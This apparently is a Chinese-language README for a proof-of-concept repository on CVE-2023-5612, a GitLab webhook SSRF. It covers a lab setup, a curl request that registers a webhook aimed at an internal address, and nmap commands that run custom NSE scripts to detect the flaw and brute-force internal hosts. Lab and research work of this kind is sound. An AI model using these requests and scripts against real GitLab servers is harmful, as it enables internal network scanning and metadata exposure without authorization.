CVE-2023-5612(GitLab CE/EE webhook SSRF)的概念验证与分析。包含 curl PoC 步骤以及用于验证和暴力破解内部 URL 的自定义 NSE 脚本。
GitLab CE/EE 中的 SSRF 漏洞允许拥有有效项目 Maintainer 权限的攻击者通过恶意 webhook URL 向任意内部服务发送精心构造的请求。利用该漏洞可导致内部网络扫描、元数据泄露或进一步的横向移动。
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
- Kali Linux 运行在专为测试部署的虚拟机中
- 通过 Docker 启动的存在漏洞的 GitLab CE 实例(端口 8080)
- GitLab 内部:
- 创建了测试项目
- 生成了具有 Maintainer 权限的 Personal Access Token(glpat-...)
- 为内部 SSRF 目标在 127.0.0.1:8888 上启动了最小化的 HTTP 服务
- 通过 curl 手动确认漏洞(见 PoC)
- 创建自定义 NSE 脚本:
gitlab-ssrf.nse:针对性的 SSRF 检测
gitlab-ssrf-brute.nse:自动枚举内部地址
- 使用 nmap -d 和 --script-trace 进行测试,以分析 API 行为并记录结果
- 从内部服务收到 401 Unauthorized 响应,表明 SSRF 成功
- 成功请求将返回 `201 Created` 或类似 `401 Unauthorized` 的错误,表明存在 SSRF 访问。
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
在针对漏洞 **CVE-2023-5612** 的研究过程中,成功复现了通过 GitLab CE API 访问内部地址的 SSRF 攻击场景。这说明了限制 webhook 能力并在服务端实施 URL 验证的重要性。
.
├── gitlab-ssrf.nse # 用于手动 SSRF 验证的 NSE 脚本
├── gitlab-ssrf-brute.nse # 用于扫描内部主机/端口的 NSE 暴力脚本
├── screenshots/ # PoC 执行和漏洞确认的截图
└── README.md # 本文件
Pavel Topskiy
GitHub • 安全分析师,红队分析师
所有测试均在隔离的实验环境中针对故意存在漏洞的版本进行。请勿对未经授权的系统使用此内容。遵守道德黑客原则。